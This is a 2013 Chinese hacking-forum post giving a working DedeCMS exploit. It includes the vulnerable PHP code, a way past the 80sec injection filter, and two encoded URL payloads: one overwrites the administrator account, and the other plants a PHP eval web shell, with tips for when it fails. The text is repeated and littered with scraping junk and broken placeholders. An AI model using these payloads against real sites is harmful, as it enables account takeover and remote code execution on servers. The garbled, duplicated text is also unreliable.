中国网络渗透测试联盟

标题: dedecms最新版本修改任意管理员漏洞+getshell+exp [打印本页]

作者: admin    时间: 2013-9-21 16:08
标题: dedecms最新版本修改任意管理员漏洞+getshell+exp
此漏洞无视gpc转义,过80sec注入防御。
) S6 Z" |; \" s6 k& D补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?) k7 E% Z8 W2 R
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。2 ^( [& q, |. M+ e) r5 b* c
include/dedesql.class.php1 u/ @7 |9 J+ i. ]/ j
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。4 \# j& J0 g# L3 A: F' H, B
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
( [. U  L( G- T0 q' \而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。9 F7 D* M; ]4 n* C, m* u& ?
plus/download.php. f3 y8 L. A6 v( {( c! `
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):: _: k, H+ c) _- N
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:) _6 f2 x2 C5 ~7 b, d# ]
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
9 I7 K  E9 H/ p  ?http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin( M4 ~5 C0 o2 |1 D1 f) A6 T: T9 E
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。1 d' [+ a  |, K! |7 o9 i; y
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
1 y8 a& \  b' D( [$ D5 S; XUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
! s% f9 Y* K  C/ f补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
: ?  f/ T1 l& Y5 `) C' k起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。% w+ x+ Q5 K, p* ?- C! v
include/dedesql.class.php
4 C4 m: B' ^/ f: V7 mif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。! a& b2 A" Y' W! K% J) X
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2. E* v0 b% M0 @9 h) F
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
( p  }# n" X6 P+ U7 F# ~" Kplus/download.php) `8 K8 J9 t, t6 x( h0 G
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):' y' X+ ~9 m2 N* R7 Z
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
; E& o& J- Y- R# _. gUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
  U  V) S# Y" c; P5 \http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
0 f7 b: A) [- U3 g漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
: \: W* V6 P* w如果找不到后台,参见以前修改数据库直接拿SHELL的方法# Q: o1 R3 W( C4 Z! s" J5 ^
___FCKpd___6getshell:
, L! O, C8 v, s0 G: Zhttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m( ]5 }  [( ?! S( r6 H3 A
http://127.0.0.1/plus/x.php4 {, `/ k) J2 b* Y
update成功后还要访问下 /plus/mytag_js.php?aid=1* O5 W. N( I. R4 B+ r9 }
失败原因:
& g( a0 q( C: Q  Y测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
! L* S! w8 w, q( S配图:& E, M# M0 p8 y* S8 U
1.查看dede当前版本3 W$ D& o' x8 j

5 C$ }% X5 _* O3 a2.执行exp
9 N: b  W5 w0 |, _- [3 B# h
7 T- \" E8 h; Y3 k0 A" _' jhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台7 T0 ]- n" f+ c$ C' P+ {

( m3 b* s+ e3 Gspider密码admin
$ z% c  i0 d/ l8 o
6 w5 p) a$ s; g# A8 O1 Z" Ahttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
- U1 v+ \# l% S原作者:imspider9 c! l" l% R( g2 _6 P% a
6 ^2 D( q) M; y- {% _3 m+ `
本博客测试+配图+getshell
& k( x+ J  w' i% M; C& `' p9 dPOST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
$ a  d/ O3 i0 Y3 X- g7 o3 q/ R7 s5 d7 `% x
getshell:8 A& I. D+ d; b1 r' w. \
___FCKpd___7会在plus目录生成 x.php 密码 m+ K2 u3 u" _4 G- X  _/ c
http://127.0.0.1/plus/x.php
5 i; s( b0 f& Z; b) xupdate成功后还要访问下 /plus/mytag_js.php?aid=1' g+ j9 B% ^6 U) B
失败原因:
, i5 l9 K/ j' V0 R测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)  z2 e2 @3 J1 r! o! A5 [6 t2 z9 k
配图:
" S& p% q2 n% X3 r( m1.查看dede当前版本3 k3 Q3 k/ j8 I- D3 j" ^* V
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png& P. ?8 P/ d* p" X* k. s1 {# l* P
2.执行exp
4 B! _  J9 L$ X; V( U5 ?: o" s9 }http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台1 ]- n' m* f$ Z2 ^
spider密码admin
8 q" y( t3 T  ?) a+ J9 R  U5 Jhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png8 F2 W0 n* x" D
/ [# G/ H( G" g2 |6 E





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2